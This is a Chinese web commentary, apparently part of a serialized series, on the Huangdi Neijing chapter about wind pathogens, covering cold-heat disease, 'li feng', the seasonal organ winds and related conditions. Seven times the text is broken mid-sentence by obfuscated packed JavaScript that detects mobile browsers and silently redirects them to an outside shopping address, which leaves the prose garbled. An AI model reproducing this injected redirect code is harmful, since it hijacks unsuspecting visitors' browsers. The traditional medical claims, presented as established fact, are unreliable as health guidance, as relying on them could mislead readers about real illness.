接下来，岐伯提到了两种可能的治疗误区及其后果。一是“如果医生用灸法就是以火补火，阳极成阴，阴不能上承，所以会发生失音。”灸法，作为中医外治法的一种，主要通过温热刺激来温通经络、散寒除湿。然而，在阳气已经逆于上的情况下，再使用灸法无疑是“火上浇油”，加剧了阳气的亢盛，导致“阳极成阴”，即阳气过盛反而转化为阴邪，阻碍了阴液的正常上承，从而可能出现失音的症状。 另一种是“如果用砭石针刺，阳气随针外泄。阳气虚，精神就会失其所首，所以会发生神志失常的狂症。”针刺疗法，旨在通过刺激穴位来调节气血、平衡阴阳。但在阳气逆上的情况下，针刺不当可能导致阳气过度外泄，造成阳气虚损。中医认为，阳气是维持人体生命活动的重要物质，一旦阳气不足，就可能出现精神萎靡、神志失常等症状，甚至表现为狂症。 岐伯最后强调，“必须在阳气从上下降，阴气从下上升，阴阳二气交，并以后进行治疗，才可以使疾病痊愈。”这指出了治疗“厥逆”病症的关键所在，即恢复体内阴阳的平衡状态。只有当阳气得以顺利下降，阴气得以正常上升，阴阳二气在体内实现和谐交融，才能从根本上消除病症，使机体恢复健康。 黄帝说：讲的好，有发病发热，而且疼痛是什么原因呢？ 岐伯说：我们明确一点，中医所说的“阳脉”并非特指某一具体脉象，而是相对于“阴脉”而言，具有温热、亢进特性的脉象类别，通常与热症、表症相关联。 外感发热，表明是三阳受寒”，这里似乎存在一个表述上的微妙之处。在中医理论中，外感发热多因风寒暑湿燥火等外邪侵袭人体所致，而“三阳受寒”可能指的是邪气侵袭人体三阳经（太阳、阳明、少阳）所引起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428748|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发热症状。这里的“受寒”并非字面意义上的寒冷侵袭，而是泛指外邪的入侵。 接下来，比较人迎脉与寸口脉的大小关系，来判断病邪所在的层次。人迎脉位于颈部，是反映人体表部气血状况的重要脉象；寸口脉则位于手腕部，是中医临床最常用的脉象之一，能够反映人体内脏腑的气血状况。当人迎脉比寸口脉大一倍时，认为病在少阳，这是因为少阳经位于三阳经之中，是邪气由表入里的过渡阶段；大二倍时，病在太阳，太阳经为三阳经之首，主一身之表，邪气多从此入侵；大三倍时，则表明病邪已深入阳明，并有可能进一步传入三阴经，病情趋于严重。 然而，当疾病未能及时得到控制，邪气就会进一步深入，传入三阴经。三阴经包括太阴、少阴、厥阴，它们主要联系着人体的内脏器官，是气血生化、脏腑功能调节的重要枢纽。当三阴经受累时，就会出现一系列与内脏功能失调相关的症状。其中，“腹胀”是太阴经（主要与脾胃相关）受邪时常见的症状之一，因为脾胃是运化水谷、化生气血的脏腑，其功能失调自然会影响到食物的消化和吸收，导致腹胀不适。 病在三阳时可能出现头痛，但传入三阴后，头痛并非其主要或必然症状。三阴病的症状更多地体现在内脏功能的异常上，如腹胀、腹泻、食欲不振、畏寒肢冷等。 这种通过脉象变化来判断病邪所在层次的方法，是中医脉诊的重要组成部分。它要求医者具备丰富的临床经验和敏锐的洞察力， 能够准确捕捉脉象的细微变化，从而做出正确的诊断。 需要强调的是，中医的诊断和治疗是一个复杂而系统的过程，不能仅凭脉象就做出最终的诊断。在实际应用中，医者还需要结合患者的症状、体征、病史等多方面信息进行综合分析，才能制定出科学合理的治疗方案。 第26章 风论篇 在探讨风邪这一古老而深邃的中医理论时，我们仿佛踏入了一个既神秘又精妙的世界。风邪，作为六淫之首，其性质轻扬开泄，善行数变，无孔不入，这些特点使得它在中医病因学中占据了举足轻重的地位。 风邪的性质与致病特点 风邪，顾名思义，如同自然界之风，来去匆匆，变化无常。在中医理论中，风邪的致病特点主要体现在以下几个方面： 1. 轻扬开泄：风邪易袭阳位，即人体上部及肌表，常导致头痛、发热、恶风、汗出等表证。 2. 善行数变：风邪致病病位游移不定，病情变幻莫测，如荨麻疹的风团此起彼伏，游走不定，便是风邪善行数变之体现。 3. 无孔不入：风邪能透皮腠而侵袭人体，使腠理疏松开张，故风邪为百病之长，常兼他邪合而致病。 风邪侵入人体的病因与病机分类 风邪侵入人体，根据体质差异、环境因素及邪正相争的结果，可引发多种风病。其病机分类大致可归纳为以下几类： 外感风邪：直接感受自然界风邪侵袭，导致风寒、风热、风湿等外感表证。 内生风邪：多由脏腑功能失调，气血逆乱，内生风动，如肝阳化风、血虚生风、阴虚风动等，常见于中风、眩晕、震颤等病。 风邪兼夹：风邪常与其他邪气（如寒、热、湿、燥、火）相兼致病，形成复杂多变的病证，如风湿痹痛、风寒咳嗽等。 症状与诊疗方法 风邪所致病症的症状多种多样，但多伴有风象，如瘙痒、动摇不定、游走性疼痛等。诊疗方法上，中医强调辨证施治，根据具体病情采取相应措施： - 解表散风：对于外感风邪，常用辛散轻扬之品，如麻黄、桂枝、防风等，以解表散风，驱邪外出。 平息内风：对于内生风邪，则需根据具体病机，采用平肝熄风、养血祛风、滋阴潜阳等法，如天麻钩藤饮、镇肝熄风汤等方剂。 祛风除湿：对于风邪兼夹湿邪所致的痹症，则需祛风除湿，通络止痛，常用独活寄生汤、蠲痹汤等。 风邪作为中医病因学中的重要概念，其性质、致病特点、病因病机分类及诊疗方法均体现了中医理论的博大精深与灵活多变。在应对风邪所致病症时，我们应遵循中医的整体观念和辨证施治原则，综合运用多种治疗手段，以达到扶正祛邪、恢复健康的目的。 这篇内容概要，我将逐一以知乎风格的回答方式进行阐述： 一、风邪的致病特点 风邪，这位在中医界里赫赫有名的“百病之长”，其致病特点确实令人叹为观止。它如同自然界的狂风，不仅来势汹汹，还擅长“变脸”——病症变化多端，让人防不胜防。风邪之所以能成为引起各种疾病的首要因素，很大程度上归功于它那“轻扬开泄、善行数变、无孔不入”的绝技。想象一下，一个能够轻松穿透人体防线，并在体内四处游走的“敌人”，其破坏力自然不容小觑。 二、多种风病的发病症状和诊法 一提到风病，那可真是五花八门，从常见的感冒、头痛，到复杂的类风湿、中风等，都与风邪有着千丝万缕的联系。发病症状嘛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428749|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然是各不相同，但总有那么几个共同点：比如，发病急骤，病情变化快，常伴有瘙痒、动摇不定等“风象”。至于诊法，中医讲究望闻问切四诊合参，对于风病而言，观察患者的面色、舌苔，询问病史及症状变化，都是不可或缺的诊断手段。此外，中医还善于从脉象中捕捉风邪的蛛丝马迹，如浮脉、动脉等，都可能是风邪作祟的线索。 三、五脏风病的面部部位和面部色泽 在中医理论中，五脏与面部有着密切的对应关系，即“五脏开窍于面”。因此，当五脏受到风邪侵袭时，往往会在面部表现出特定的症状和色泽变化。比如，肝风可能表现为面青目赤、口角歪斜；肺风则可能导致面色苍白、皮肤干燥；而心风则可能伴随面色赤红、心悸不安等症状。通过观察面部部位和色泽的变化，中医能够初步判断风邪侵袭的脏腑及病情的轻重缓急。 四、风证普遍具有的汗出恶风共同症状 “汗出恶风”，这四个字几乎成了风证的代名词。无论是外感风邪还是内生风邪所致的病症，患者往往都会出现这两个共同症状。汗出，是风邪扰动营卫，使腠理开泄所致；而恶风，则是风邪侵袭肌表，人体正气与之抗争时产生的自然反应。这两个症状的出现，不仅提示了风邪的存在，还反映了人体正邪交争的病理状态。 本篇内容通过深入探讨风邪的致病特点、多种风病的发病症状和诊法、五脏风病的面部表现以及风证的共同症状，为我们揭示了风邪在中医理论中的重要地位及其复杂多变的致病机制。希望这些解答能够帮助您更好地理解中医关于风邪的理论知识。 第26章 （1）寒热病 在探讨黄帝关于风邪侵袭人体所致多样病症的深刻见解时，我们首先要认识到，这是古代中医理论体系中对于外界环境与人体健康相互作用的精妙阐述。黄帝，作为中华文明的始祖之一，在《黄帝内经》等经典着作中，留下了对医学、养生等领域的宝贵智慧。 关于风邪，中医理论认为它是“六淫”（风、寒、暑、湿、燥、火）之首，具有轻扬开泄、善行数变、主动的特性，是外感病邪的主要致病因素之一。风邪侵犯人体后，由于人体体质、感受风邪的性质及轻重、有无兼夹邪气等因素的不同，会产生多种多样的病理变化。 寒热病：这通常是由于风邪兼夹寒邪或热邪所致。风性轻扬，易袭阳位，若兼夹寒邪，则寒性凝滞，束表闭肺，导致卫阳被遏，营阴郁滞，出现发热恶寒、无汗、头身疼痛等症状；若兼夹热邪，则热性升散，易扰心神，耗气伤津，表现为发热重、恶风、口渴、汗出等症状。 黄帝说：这些病都是由风邪引起的，由于病变表现不同，所以病名也不一样，有的侵入内部达到五脏六腑之间，我不知道怎么解释，想听你说说。 岐伯说：风邪侵犯人体常常滞于皮肤之中，使腠理开合失常，经脉不能通调于内，卫气不能发泄于外。 我们来聊聊“风邪滞于皮肤之中”。在中医理论中，皮肤作为人体的第一道防线，其下的腠理（即皮肤纹理及皮下微小空隙）是气血津液输布与代谢的通道。风邪因其轻扬开泄、善行数变的特性，最易侵袭人体浅表，滞留于皮肤之间，干扰正常的气血运行。 接着，“使腠理开合失常”。腠理的开合是机体调节体温、排汗、呼吸等生理功能的重要环节。风邪侵袭，导致腠理开合失度，或过度开泄（如自汗、漏汗），或闭塞不通（如无汗、恶寒），进而影响人体的正常代谢与防御能力。 “经脉不能通调于内”。经脉是气血运行的通道，内联脏腑，外络肢节，遍布全身。风邪滞留皮肤，进而可影响经脉的通畅性，导致气血运行受阻，脏腑功能失调。这种内外失衡的状态，是许多疾病发生发展的基础。 “卫气不能发泄于外”。卫气是行于脉外之气，具有温养肌肤、防御外邪、调节腠理开合等作用。风邪侵袭，卫气被遏，不能正常发泄于外，既削弱了机体的防御能力，又可能导致内热郁积，产生一系列病理变化。 风邪，这位自然界的“变脸大师”，以其来去迅速、变化多端的特性，在中医理论中占据了举足轻重的地位。它就像是一位精通心理学的魔术师，能够精准地把握人体腠理的“情绪开关”，让阳气这位“家庭主心骨”时而外泄，时而内郁，上演着一场场“恶寒”与“烦闷”的情绪大戏。 当风邪轻抚，使得腠理这位“门户守卫”放松警惕，门户大开之时，阳气这位“家中的暖男”便趁机溜出，去外面世界探险。然而，这一走，家里的温度就降了下来，人体便感到了恶寒。这就像是冬天里，你打开门窗通风，虽然清新了空气，但也带来了刺骨的寒风，让人不禁打了个寒颤。 反之，当风邪作祟，使得腠理这位“门户守卫”紧闭大门，严防死守之时，阳气这位“暖男”就被困在了家里，无法外出散心。久而久之，家里就变得闷热起来，人体便感到了烦闷。这就像是夏天里，你关紧门窗开空调，虽然室内凉爽，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428750|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长时间密闭的环境也会让人感到压抑和不适。 恶寒与发热，这两大症状如同阴阳两极，相互交织，共同绘制出一幅幅人体健康的晴雨表。而您所提及的“恶寒则引起饮食减少，发热则会使肌肉消瘦”，正是寒热病中常见的一幕幕景象。 想象一下，当寒风侵袭，人体如同置身于冬日的荒野，腠理紧闭，阳气被遏，那股由内而外的寒冷感，不仅让人瑟瑟发抖，更让脾胃这位“后天之本”也感到了不适。脾胃受寒，运化无力，自然就不想再接纳更多的食物，于是饮食减少，成了恶寒之后的常见现象。 再来看发热，它如同夏日炎炎下的烈日炙烤，人体仿佛置身于火炉之中，阳气亢盛，阴液受损。长时间的高热，不仅消耗了人体的正气，更使得肌肉组织得不到充分的滋养与修复，逐渐消瘦下去。这就是“发热则会使肌肉消瘦”的缘由。 寒热病，顾名思义，就是既有恶寒又有发热症状的疾病。它由外感风邪、寒邪、热邪等多种因素引起，导致人体正气与邪气在体内激烈交锋，从而引发一系列复杂的病理变化。 在治疗寒热病时，中医强调“辨证施治”，即根据患者的具体症状、体质、病情等因素，综合分析，制定个性化的治疗方案。通过调和阴阳、扶正祛邪、解表散寒或清热泻火等方法，恢复人体的正常生理平衡，从而达到治疗疾病的目的。 总之，恶寒与发热作为寒热病的两大主要症状，它们之间既相互独立又相互联系，共同反映了人体在遭受外界邪气侵袭时的复杂病理过程。在面对寒热病时，我们应当保持冷静，及时就医，遵循中医的辨证施治原则，以期早日康复。 第26章 （2）寒中病和热中病的病因病机 黄帝问：风邪侵犯人体，引起热中病，我不知道怎么解释，想听你说说。 热中病：多指风邪化热入里，影响脏腑功能，特别是中焦脾胃。风邪内传，郁而化热，或患者素有内热，复感风邪，两阳相并，则见高热、烦渴、面赤、脉洪大等里热炽盛之象。 岐伯说“风邪由阳明入胃”，这里的“阳明”在中医理论中，常指胃经及其相关的阳气表现，是人体抵御外邪的第一道防线。当风邪（一种无形的致病因素，多指自然界中能使人体致病的风气）趁虚而入，通过阳明经进入胃腑，便开启了它对人体内部的侵扰之旅。 接着，“沿着经脉上行到眼角”，这体现了中医经络理论的精妙。在中医看来，人体是一个由经络连接而成的整体，气血、信息皆可通过经络流通全身。因此，风邪一旦入胃，便可能循经而上，影响至眼部，尤其是眼角这一气血汇聚、相对敏感的区域。 “病人身体肥胖，腠理致密，风邪就不宜向外发泄”，这里涉及到了中医体质学说和病理机制的理解。肥胖之人，往往体内痰湿较重，肌肤腠理（皮肤纹理及汗孔）相对致密，这种体质特点使得风邪难以通过正常的排汗等方式排出体外，从而更容易在体内稽留，形成内热。 “积留体内成为内热，导致眼珠发黄”，这是内热炽盛，熏蒸肝胆之气的表现。中医有“肝开窍于目”之说，且肝与胆相表里，胆汁的正常排泄对于维持眼部的健康至关重要。当内热积聚，影响肝胆功能，胆汁外溢，循经上溢于目，便可能出现眼珠发黄的症状，这在中医上被称为“黄疸”的一种表现。 黄帝问：风邪侵犯人体，引起寒中病，我不知道怎么解释，想听你说说。 寒中病：这可能是由于风邪夹寒直入中焦，或素体阳虚，风邪乘虚而入，寒凝中焦，导致脾胃虚寒，出现腹痛喜温、呕吐清水、大便溏薄等寒象。 岐伯说：病人身体瘦弱，腠理疏松，阳气就容易外泄，人会感到寒冷”，这确实是中医体质学说中常见的一种情况。在中医看来，人体的健康与体内阳气的充足与否密切相关，而阳气的固护则依赖于体表的腠理是否紧密有序。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428751|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 对于身体瘦弱、腠理疏松的人来说，他们的身体仿佛是一扇没有关紧的门，外界的风寒之邪容易乘虚而入，同时体内的阳气也更容易外泄。这种阳气不足的状态，会让人体失去温暖，从而产生寒冷的感觉。 “患上寒中病，症状是时常流泪”，这在中医理论中，可能与寒邪入侵，导致经络不通，进而影响眼部气血运行有关。眼部是气血汇聚的重要部位，当体内阳气不足，寒邪阻滞经络时，眼部的气血循环可能受到影响，导致泪液分泌异常，出现时常流泪的症状。 然而，值得注意的是，中医理论中的“寒中病”并非一个简单的概念，它可以涉及多个脏腑的失调和多种病理机制。因此，在实际诊疗中，中医医生会根据患者的具体症状、体质、病史等多方面信息进行综合判断，并制定个性化的治疗方案。 此外，虽然中医强调整体观念和辨证施治，但现代医学在眼科疾病的诊断和治疗方面也有着丰富的经验和手段。如果患者的流泪症状持续存在或加重，建议及时就医，以便得到更加全面和专业的诊疗服务。 第26章 （3）厉风病的病因病机及治疗 黄帝问：风邪侵犯人体，引起厉风病，我不知道怎么解释，想听你说说。 岐伯说：厉风病：在中医古籍中，“厉”有猛烈、严重之意，厉风病可理解为由强烈风邪或夹杂其他毒邪所致的严重皮肤病或全身性疾病，如现代所说的某些急性、烈性传染病或重症皮肤病。 岐伯所言“风邪由太阳经脉侵入人体”，实则蕴含了中医理论中“天人合一”与“经络学说”的深刻哲理。 首先，让我们以轻松而不失严谨的态度来理解“风邪”与“太阳经脉”的互动。想象一下，春风拂面，本是温柔之至，但若在人体免疫力下降之时，这股“风”便可能化作“邪”，悄然通过人体最外层的防御——太阳经脉（中医理论中，太阳经主表，为六经之首，易受外邪侵袭），进而在体内“流行于各经络腧穴”。这里的“流行”，更像是无形的力量在身体网络中的悄然蔓延，影响着气血的和谐运行。 接下来，“散布在分肉之间，与卫气缠绕纠缠在一起”，则描绘了风邪与人体正气（特别是卫气，负责防御外邪、温养肌表）之间的一场无声较量。卫气，如同身体的巡逻兵，一旦遭遇外邪入侵，便会与之缠斗，力求保护机体不受侵害。但这一过程若持续过久，或卫气本身不足，便会导致“卫气运行的道路不通利”，进而出现“肌肉肿胀高起而产生疮疡”的病理现象。这就像是一场激烈的战斗后，战场（人体局部）留下的创伤与淤滞。 “卫气凝涩而不得运行，肌肤就会麻木，不知痛痒”，则进一步揭示了气血不畅对人体感知能力的深远影响。卫气本是温煦、滋养肌肤的重要力量，一旦因外邪侵扰而凝滞不前，肌肤便失去了应有的活力与敏感度，如同冬日里被冰雪覆盖的田野，失去了往日的生机与触感。 “厉风病，因热营气而腐坏，血气污浊不清所致”，这一描述在中医理论中，可能指的是由于体内热气过盛，营血（即营养血液的循环）受到影响，导致气血运行不畅，进而产生“腐坏”之象，这里的“腐坏”可以理解为一种功能失调或病理产物的积聚状态，而非字面意义上的腐烂。这种状态下，血气变得污浊，无法正常滋养身体，从而引发一系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428752|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列症状。 同时“鼻柱受损，鼻塞衰败，皮肤溃烂”，这些症状确实反映了疾病对体表及呼吸道的影响。在中医看来，鼻为肺之窍，肺气不宣则鼻塞不通；而皮肤作为人体最大的器官，其健康状态与体内气血的充盈与流畅密切相关。当血气污浊不清时，肌肤得不到足够的滋养，加之病邪侵袭，便可能出现溃烂等严重症状。 这时“病因风寒侵入经脉，久留不去而生”，这进一步揭示了疾病发展的一个可能路径：即外界的风寒之邪趁虚而入，与体内的湿邪相结合，阻滞于经脉之中，长期不得排出，逐渐加重病情。 虽然“厉风病”并非现代医学中的直接病种，但其描述的症状和病因机制，在中医理论框架下有着清晰的逻辑脉络。对于此类疾病的治疗，中医可能会采用清热解毒、活血化瘀、祛风除湿等方法，旨在恢复气血的正常运行，驱除体内病邪，从而达到治愈疾病的目的。 当然，面对任何健康问题，我们都应秉持科学严谨的态度，必要时寻求专业医疗人员的帮助，进行准确的诊断和治疗。 第26章 （4）不同季节感染风邪的病症和注意事项 在探讨春季甲乙日感受风邪与肝风的关系时，我们首先需要明确几个中医理论的基本概念。春季，作为四时之首，万物复苏，自然界中阳气生发，风气当令，是人体肝气最为活跃的季节。而甲乙日，在中医五行学说中，与木相应，木性条达，与肝的疏泄功能相契合，故甲乙日往往被视为肝气最为舒畅的日子。 风邪，作为中医六淫（风、寒、暑、湿、燥、火）之一，具有轻扬开泄、善动不居的特性，易袭阳位，常兼他邪合病。在春季，由于气候多变，温差较大，加之自然界风气旺盛，人体若正气不足，则易感受风邪，引发感冒、头痛、风湿痹痛等病症。 肝主疏泄，喜条达而恶抑郁，若肝气过旺或疏泄太过，加之春季风气内应于肝，内外相引，则可能形成所谓的“肝风内动”。这种病理状态可表现为眩晕欲仆、震颤、抽搐等症状，与现代医学中的某些神经系统疾病或精神症状有相似之处。 因此，在春季甲乙日感受风邪，若个体本身肝气偏旺或疏泄功能异常，就可能更容易出现肝风内动的病理变化。预防上，应注意保持情绪稳定，避免过度劳累和情绪波动，适当进行户外活动以顺应春季生发之气，同时注意饮食调养，少食辛辣之物，以免助火生风。治疗上，则需根据具体病情辨证施治，以平肝熄风为主要原则。 当我们踏入夏季丙丁日的热烈氛围，谈论起风邪与五脏之风的关联，确实是一个既传统又富有深意的话题。在中医的宇宙观中，夏季属火，与心相应，丙丁日则更是火旺之时，心气也随之达到一年的高峰。此时，若不慎感受风邪，而个体本身心火偏旺或心血不足，就可能出现一种独特的病理现象——我们姑且称之为“心风”。这里的“心风”并非字面意义上的心脏刮风，而是形容因心火过旺或心血失养，加之风邪侵扰，导致心神不宁、烦躁易怒、甚至可能出现心悸、失眠等症状的一种病理状态。 转而谈至长夏戊己日，这是中医特有的季节划分，位于夏末秋初之际，湿土之气最为旺盛，与脾相应。在这个时段，如果人体正气不足，特别是脾胃功能虚弱，就容易受到风邪的侵袭，进而形成“脾风”。脾风虽非中医经典中的直接病名，但我们可以理解为因风邪夹湿，侵犯脾胃，导致脾胃运化失常，出现脘腹胀满、食欲不振、大便溏泄等消化系统症状的一种病理变化。 针对这两种情况，预防和治疗的关键在于调和五脏，增强正气，同时根据季节和体质特点，合理调整饮食起居，避免风邪的侵袭。对于心风，可适当食用清心降火的食物，如莲子、百合等，同时保持心情愉悦，避免过度劳累；对于脾风，则应注意健脾祛湿，多食用山药、薏米等健脾食物，并避免长时间处于潮湿环境中。 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428753|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们踏入秋高气爽的庚辛日，自然界的金气渐浓，与肺相应，此时肺脏功能也处于相对活跃的状态。然而，秋风虽爽，却也带着几分凉意与干燥，若不慎感受风邪，加之个体本身肺气不足或肺阴亏虚，就可能导致一种被形象地称为“肺风”的病理状态。这里的“肺风”并非指肺部真的刮起了风，而是形容风邪侵肺，引起咳嗽、气喘、咽干、鼻燥等一系列呼吸系统症状的情况。 转眼间，我们来到了冬季壬癸日，这是一年中水气最盛的时节，与肾相应。冬季寒冷，人体阳气内敛，若此时感受风邪，加之肾阳不足或肾阴亏损，就可能形成“肾风”。肾风在中医理论中并非单一病症，而是指风邪侵袭肾脏，导致肾脏功能失调，进而出现腰膝酸软、畏寒肢冷、水肿、小便不利等一系列症状的综合表现。 针对这两种情况，预防和治疗的关键在于顾护正气，增强肺肾两脏的功能。在秋季，应注意润肺养阴，避免过度劳累和情绪波动，适当食用梨、百合等润肺食物；在冬季，则要注重温补肾阳，保持身体温暖，适当食用羊肉、核桃等温补肾阳的食物。同时，无论是哪个季节，都应保持良好的作息习惯，适当锻炼，增强体质，以抵御风邪的侵袭。 以上便是对“在秋季庚辛日感受风邪形成肺风，在冬季壬癸日感受风邪形成肾风”这一问题的解答，希望能对您有所帮助。 第26章 （5）风邪入侵全解析：不同部位，不同病症的奥秘 岐伯说：风邪侵入五脏六腑的腧穴，就会成为五脏六腑的风”，实际上是在阐述风邪通过人体经络系统中的特定穴位（腧穴），进而影响到相应的脏腑功能。在中医理论中，腧穴不仅是气血汇聚之处，也是外邪入侵的门户。当人体正气不足，或外界环境骤变，风邪便可能乘虚而入，通过腧穴深入脏腑，扰乱气血运行，从而引发各种疾病。 “无论是络、经、脏、腑，只要风邪从其门户入侵，就会引发偏风”，这里提到的“偏风”可以理解为因风邪侵袭而导致的局部或特定脏腑的病症，如中医所谓的“中风”、“风湿痹痛”等，它们往往表现为一侧肢体麻木、活动受限等症状，与风邪善行数变、易袭阳位的特性相吻合。 首先，我们来聊聊这充满想象力的中医理论中关于风邪与人体健康关系的种种说法。在中医的世界里，风邪被视为一种无形却强大的致病因素，它如同自然界的微风，虽轻柔却无处不在，一旦人体防线失守，便可能引发各种疾病。 “风邪”，在中医理论中，是一种无形的致病因素，其性善动不居，轻扬开泄，具有升发、向上、向外的特性，故易袭阳位，即人体的上部和肌表。而“风府穴”，顾名思义，乃是风邪易聚之地，也是风邪入侵脑部的一条重要通道。当人体正气虚弱，如同一座城池的守卫松懈，或是外界风邪过于强大，如同敌军压境，风邪便有可能乘虚而入，通过风府穴这一“门户”，逆流而上，侵扰脑府。 在中医看来，脑为元神之府，是精神意识活动的中枢。一旦风邪侵入，扰乱脑神，便会出现一系列脑风病症，如头痛、眩晕，乃至更为严重的中风等。这些病症，不仅反映了风邪的侵袭，更深层次地揭示了人体正气与外邪之间的较量与平衡。 “风邪侵入头部类及目系，就会引发目风病”想象一下，我们的眼睛就像是心灵的窗户，而风邪这位不速之客，一旦瞅准机会，顺着经络的“小道”溜进眼部，那可就热闹了——目赤肿痛、视物模糊等眼部不适接踵而至，仿佛在说：“嘿，你的窗户没关好哦！”中医智慧告诉我们，目为肝之窍，肝经与目系紧密相连，风邪入侵头部时，难免也会捎带上眼部这位“邻居”，于是目风病就这样悄然降临了。 “睡觉着凉并且饮酒之后感受风邪，就称为漏风病”。这简直是一幅生动的生活画卷嘛！想象一下，夜深人静，你或许因为疏忽而让被子的一角悄悄滑落，寒风趁机溜进被窝，与你的体温来了个亲密接触，导致体表阳气受损，就像给身体穿了个小洞。紧接着，你又或许因为一时的畅快，举杯邀明月，对影成三人，殊不知酒精正悄悄让你的毛孔大开，仿佛为风邪敞开了大门。于是，风邪这位“不速之客”便趁机而入，与你体内的寒气勾结，共同上演了一场“漏风病”的戏码。关节疼痛、畏寒怕风，这些症状就像是身体在向你抗议：“嘿，哥们儿，注意点儿生活习惯吧！” “行房汗出时，感受风邪就会换内风病”这句颇具深意的话。在中医的世界里，人体的每一个状态都与环境、气候乃至情绪息息相关。想象一下，行房之后，人体如同经历了一场小小的“内在革命”，气血涌动，毛孔舒张，仿佛是大自然中刚刚绽放的花朵，既美丽又脆弱。此时，若是不慎让风邪这位“不速之客”溜进体内，它便可能借着这股气血的“东风”，深入脏腑经络，掀起一场“内风病”的风暴。内风病，顾名思义，是风邪在体内作祟，常与肝风内动、气血逆乱相关联，表现为肢体震颤、抽搐等令人不安的症状。 “刚洗过头时，感受风邪就会引发首病风病”。这句话简直是对日常生活细节的一次精准捕捉。刚洗完头，头部毛孔正处于“门户大开”的状态，就像是刚刚打开窗户的房间，清新的空气能进来，但风邪这样的“不速之客”也同样能轻松潜入。如果此时不注意保暖，让风邪直接侵袭头部经络，那么头痛、头风等首病风病就可能找上门来。这不仅仅是一个简单的健康提醒，更是中医“治未病”思想在日常生活中的应用。因此，洗完头后记得及时吹干，保护好我们的头部，让风邪无处可藏。 如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428754|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “风邪久留不去，伤及脾胃，就会引发肠风飧泄病”。我们可以这样理解：风邪，这位不速之客，一旦侵入人体，若未能及时被正气驱逐，便可能四处游荡，甚至“定居”下来。当它长时间逗留在脾胃这个“后勤部门”，就会干扰到脾胃的正常运作，导致消化吸收功能紊乱，进而引发肠风飧泄病，也就是我们现在常说的腹泻、腹痛等症状。 